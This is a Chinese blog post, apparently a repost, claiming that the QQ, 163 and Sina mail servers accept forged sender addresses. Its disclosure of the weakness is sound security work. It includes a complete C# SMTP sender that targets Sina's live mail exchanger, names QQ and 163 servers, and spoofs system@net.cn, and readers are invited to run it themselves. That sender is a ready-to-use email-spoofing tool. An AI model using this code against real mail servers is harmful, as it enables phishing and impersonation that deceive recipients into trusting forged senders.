国内邮箱服务器严重漏洞
这几天学习了下邮箱服务器及邮件协议,发现了不少问题,于是就测试了一下各个大型邮箱服务商的服务器。(这个问题应该之前也有人发现的,可能我没找到把)
经过测试发现了一个非常严重的问题(至少我觉得已经非常严重了),就是可以完全伪造任何人的邮箱地址发送邮件,比如:system@163.com 发送给除163邮箱的大多数邮箱。
我测试了QQ、网易、新浪三家的邮箱服务器,都没有做任何的验证(腾讯的稍微好点)。
我先说说这个漏洞存在哪里,首先邮箱服务器之间的通信,比如下面这个:
A 发送服务器 B接收服务器
A:链接B
B:220 Welcome to Happy you and me SMTP Server.
A:HELO m1.163.com
B:250 ok
A:MAIL FROM:<system@net.cn>
B:250 ok
A:RCPT TO:<happyyouandme1@sina.cn>
B:250 ok
A:DATA
B:354 Start mail input; end with <CRLF>.<CRLF>
A:DATA数据
B:250 OK
之后就是退出命令
按常理我们应该在A发HELO m1.163.com 的时候去获取A的服务器信息,然后验证是否于当前链接的IP地址符合,但我测试的这三家都没有做任何的验证,也就导致了MAIL FROM 的邮箱可以任意指定。
其实我认为当初设计这个协议的时候作者的想法是互相表明了身份后双方都应该验证对方身份是否合法的,但可惜的是以上三家服务商并没有验证(163的邮箱服务器好像不是自己的),
我文采不好也就不多说了,希望各大服务商能尽快修复这个问题带给我们用户一点安全感吧,现在我都不敢相信邮箱内容了,打电话确认了之后才放心,
如果小弟有啥不对的地方请各位多多指正,小弟不甚感激
最后付上我测试的邮箱接收和发送的代码,各位大哥大姐也可以去测下,(但测试测试就好了。。 别做坏事哦)
接受端:
class Program { static void Main(string[] args) { var listener = new TcpListener(IPAddress.Any, 25); listener.Start(); while (true) { Console.WriteLine("服务已启动"); var socket = listener.AcceptSocket(); ResolveSocket(socket); } } static void ResolveSocket(Socket socket) { Console.WriteLine("收到消息:{0}", socket.RemoteEndPoint);//收到链接 socket.Send(System.Text.Encoding.ASCII.GetBytes("220 Welcome to Happy you and me SMTP Server.\r\n"));//服务器准备完成,并发送欢迎语句 byte[] bytes = new byte[80]; var count = socket.Receive(bytes);//接收 var sendServer = System.Text.Encoding.ASCII.GetString(bytes); Console.WriteLine(sendServer); Console.WriteLine("发件箱服务器:{0}", sendServer.Split(' ')[1]);//获取发送服务器地址 socket.Send(System.Text.Encoding.ASCII.GetBytes("250 x-xh.com\r\n"));//发生确认信息 bytes = new byte[80]; count = socket.Receive(bytes); sendServer = System.Text.Encoding.ASCII.GetString(bytes);//获取到发送邮件的主人地址 Console.WriteLine(sendServer); Console.WriteLine("发件人地址: {0}", System.Text.RegularExpressions.Regex.Match(sendServer, @"\<([\s\S]+)\>").Groups[1]);//获取发件人地址 socket.Send(System.Text.Encoding.ASCII.GetBytes("250 OK\r\n"));//告诉对方服务器可以接收发件人发来的邮件 bytes = new byte[80]; count = socket.Receive(bytes); sendServer = System.Text.Encoding.ASCII.GetString(bytes);//250 OK Console.WriteLine(sendServer); while (sendServer.StartsWith("rcpt", StringComparison.OrdinalIgnoreCase))//循环获取接收此邮件人的信息 { Console.WriteLine("收件人地址: {0}", System.Text.RegularExpressions.Regex.Match(sendServer, @"\<([\s\S]+)\>").Groups[1]);//获取收件人地址 socket.Send(System.Text.Encoding.ASCII.GetBytes("250 OK\r\n"));//告诉对方服务器接收人可以接收发件人发来的邮件 bytes = new byte[80]; count = socket.Receive(bytes); sendServer = System.Text.Encoding.ASCII.GetString(bytes);//250 OK Console.WriteLine(sendServer); } if (sendServer.StartsWith("data", StringComparison.OrdinalIgnoreCase))//正式数据 { socket.Send(System.Text.Encoding.ASCII.GetBytes("354 Start mail input; end with <CRLF>.<CRLF>\r\n"));//告诉对方可以开始写入邮件内容了 bytes = new byte[512]; while ((count = socket.Receive(bytes)) == 512) { sendServer += System.Text.Encoding.ASCII.GetString(bytes); } sendServer += System.Text.Encoding.ASCII.GetString(bytes); socket.Send(System.Text.Encoding.ASCII.GetBytes("250 OK\r\n"));//告诉对方我接收完成了 bytes = new byte[512]; socket.Receive(bytes); sendServer += System.Text.Encoding.ASCII.GetString(bytes); Console.WriteLine(sendServer.Trim()); System.IO.File.WriteAllText("d:\\1.txt", sendServer); } socket.Send(System.Text.Encoding.ASCII.GetBytes("221 Goodbye.\r\n"));//结束此次对话 socket.Close(); socket.Dispose(); } }
发送端:
class Program { static void Main(string[] args) { //113.108.77.23 //qq邮箱 更多服务器nslookup -qt=mx qq.com //163mx02.mxmail.netease.com// 163邮箱 更多服务器nslookup -qt=mx 163.com //freemx1.sinamail.sina.com.cn System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient("freemx1.sinamail.sina.com.cn", 25);//连接接收此邮件的服务器 byte[] bytes = new byte[80]; var count = client.Client.Receive(bytes);//接收服务器返回的状态信息 var sendServer = System.Text.Encoding.ASCII.GetString(bytes);//应该返回220 Console.WriteLine(sendServer); client.Client.Send(System.Text.Encoding.ASCII.GetBytes("HELO m1.163.com\r\n"));//发送HELO信息 bytes = new byte[80]; count = client.Client.Receive(bytes);//接收服务器返回的状态信息 sendServer = System.Text.Encoding.ASCII.GetString(bytes);//应该返回250 Console.WriteLine(sendServer); client.Client.Send(System.Text.Encoding.ASCII.GetBytes("MAIL FROM:<system@net.cn>\r\n"));//通知服务器邮件的发送者 bytes = new byte[80]; count = client.Client.Receive(bytes);//接收服务器返回的状态信息 sendServer = System.Text.Encoding.ASCII.GetString(bytes);//返回250 则可以继续,否则不能继续了 Console.WriteLine(sendServer); client.Client.Send(System.Text.Encoding.ASCII.GetBytes("RCPT TO:<123456@sina.cn>\r\n"));//通知服务器接收邮件的邮箱地址 多个可循环此步骤,但要接收了返回信息在发 bytes = new byte[80]; count = client.Client.Receive(bytes);//接收服务器返回的状态信息 sendServer = System.Text.Encoding.ASCII.GetString(bytes);//返回250 则可以继续,否则不能继续了 Console.WriteLine(sendServer); client.Client.Send(System.Text.Encoding.ASCII.GetBytes("DATA\r\n"));//通知服务器要发生邮件内容了 bytes = new byte[80]; count = client.Client.Receive(bytes);//接收服务器返回的状态信息 sendServer = System.Text.Encoding.ASCII.GetString(bytes);//返回354 则可以继续,否则不能继续了 Console.WriteLine(sendServer); string data = @"From:1049099499<system@net.cn> To: 1049099499<123456@sina.cn> Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: Base64 5LiN5aW95oSP5oCd77yM5ou/5L2g6YKu566x5Y+R5LqG5Liq6YKu5Lu2LeOAgi3vvIE= ------=_Part_161944_1210153027.551452414 . "; client.Client.Send(System.Text.Encoding.ASCII.GetBytes(data));//邮件内容,内容是Base64编码的 “不好意思,拿你邮箱发了个邮件-。-!” Console.WriteLine("数据发送完成"); bytes = new byte[80]; count = client.Client.Receive(bytes);//接收服务器返回的状态信息 sendServer = System.Text.Encoding.ASCII.GetString(bytes); Console.WriteLine(sendServer);//返回250 则成功了 550则失败,发送给qq的邮箱失败率很高,不知道为什么,451也是失败,但不知道什么东西 Console.Read(); } }
转载请注明出处:快乐你我-快乐编程
QQ群:82598514
联系邮箱:12482335@qq.com